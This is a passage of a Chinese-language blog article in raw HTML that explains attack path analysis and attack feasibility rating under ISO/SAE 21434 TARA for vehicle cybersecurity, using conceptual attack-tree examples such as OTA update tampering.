Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031746" alt="image" class="rich_pages wxw-img" data-ratio="0.4027777777777778" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b623dd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzPgibiaaXkXMOHZoscibicgmqobBuYxcRQvWAcZlINqVibZTxPpAgpowib1xg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TARA输出示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031744" alt="image" class="rich_pages wxw-img" data-ratio="0.2722222222222222" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3fd78bdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzY6kxbAgibibia1g0sAJaBVQj6qc46iake26dILXlU6kxTcQyK7Qx70MANg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">四、攻击路径分析（Attack path analysis）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击路径分析的目的是详细描述威胁场景如何被实现，包括攻击入口、具体步骤、所需条件以及现有缓解措施，该步骤帮助评估攻击的可行性，并为后续风险确定和安全需求制定提供依据，在实践中，该步骤在21434中给出了2个建议（RQ-15-08 NOTE 1），可根据产品阶段进行单独或结合使用（RQ-15-09 NOTE 3）：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">自顶向下方法（top-down）</span></strong><span leaf="">，从威胁场景作为起点“顶”，层层分解可能的攻击路径，直到基本攻击步骤，比如，对于威胁场景“篡改OTA更新包”，我们可以从这个顶点出发分解：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">要实现这个威胁，攻击者必须做到拦截通信（MITM）或者供应链注入</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">拦截通信时可能需要伪造证书或劫持DNS</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">每一步再继续向下，直到不可再分的叶节点， 这种方式常用攻击树来表达：根节点是威胁场景，子节点是子目标，使用AND/OR逻辑连接（AND表示所有子路径必须成功，OR表示任一即可）</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031748" alt="image" class="rich_pages wxw-img" data-ratio="0.4583333333333333" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1df645a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzeiceEY7dF9cBTLf1miaXk2iaInOYFApHUbxyhtAKd6iaAf4adHvZpz8VEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">由此得知当前树中有1条完整攻击路径（为方便解释，在不考虑continue的情况下）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">路径01</span></strong><p><span leaf="">MITM拦截并替换包 + 绕过签名验证（利用签名算法漏洞）</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 下载篡改包方式：MITM（连接车辆网络 → 执行流量劫持 → 替换下载包内容）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 接受刷写方式：利用签名算法漏洞（已到叶节点）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终攻击路径描述：攻击者通过连接车辆网络、执行流量劫持并替换下载包内容，让车辆下载篡改后的更新包，同时利用签名算法漏洞绕过验证，使车辆接受并刷写篡改固件</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在分析过程中，如果某个路径中的关键环节无法实现（比如需要物理访问但车辆环境受控），或者该环节对整体威胁场景没有实质影响，就可以终止对这一分支的后续分析（RQ-15-08 NOTE 2），避免没必要的深度分析，这种剪枝（pruning）是各类基于树模型分析的常见优化技巧</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">另外，一个威胁场景通常对应多个攻击路径，比如“篡改OTA更新包”可能有：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">路径1：远程MITM拦截通信</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">路径2：供应链攻击预装恶意固件</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">路径3：物理访问刷写</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">自底向上方法（bottom-up）</span></strong><span leaf="">，从已知漏洞、弱点或基本攻击步骤出发，向上追溯它可能导致哪些威胁场景，最终评估潜在损害和风险，这种方法特别适合团队已通过渗透测试、代码审计或漏洞扫描获得具体弱点时，这里的“底”是已知的具体漏洞或弱点（而不是抽象的威胁场景），例如：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">ECU固件存在缓冲区溢出漏洞</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">诊断服务未实现安全访问机制</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">OTA通信未启用TLS加密</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">网关规则配置错误</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">例如</span></strong><span leaf="">：假设通过代码审计发现“某个ECU的诊断服务存在缓冲区溢出漏洞”自底向上拆解：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">这个漏洞能被利用来做什么？ → 注入任意代码或消息（基本攻击步骤）</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">注入任意代码能导致什么威胁场景？ → 伪造诊断消息刷写固件（Spoofing + Tampering）</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">这些威胁场景成功后造成什么损害？ → 刹车系统失效（Safety = Severe）</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击树表现形式：树是倒着长的，叶节点在底（已知漏洞），向上汇聚到根节点（损害场景）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031745" alt="image" class="rich_pages wxw-img" data-ratio="0.5601851851851852" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bbd9b63a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzVLm6AZmg770BscrVMtVRKm17KRKDoiatiaW4dib5iam1ngqmepgsrw3M8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此处示例图特意采用纯线性描述（不用AND/OR逻辑），以更直观展示其局限性，也就是虽然简单直接，但少了很多可能性（无法表达必须同时满足的条件），可能会导致分析深度不足、覆盖不全</span></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">五、攻击可行性评级（Attack feasibility rating）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击可行性评级用于量化威胁场景实现的难度，为后续风险值的确定提供客观输入，在21434里定义了四个可行性等级（RQ-15-10，直译，可另行解读）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">High</span></strong><p><span leaf="">攻击路径可以通过低努力来实现</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Medium</span></strong><p><span leaf="">攻击路径可通过中等努力实现</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Low</span></strong><p><span leaf="">攻击路径可通过高努力实现</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Very Low</span></strong><p><span leaf="">攻击路径可通过很高努力实现</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, 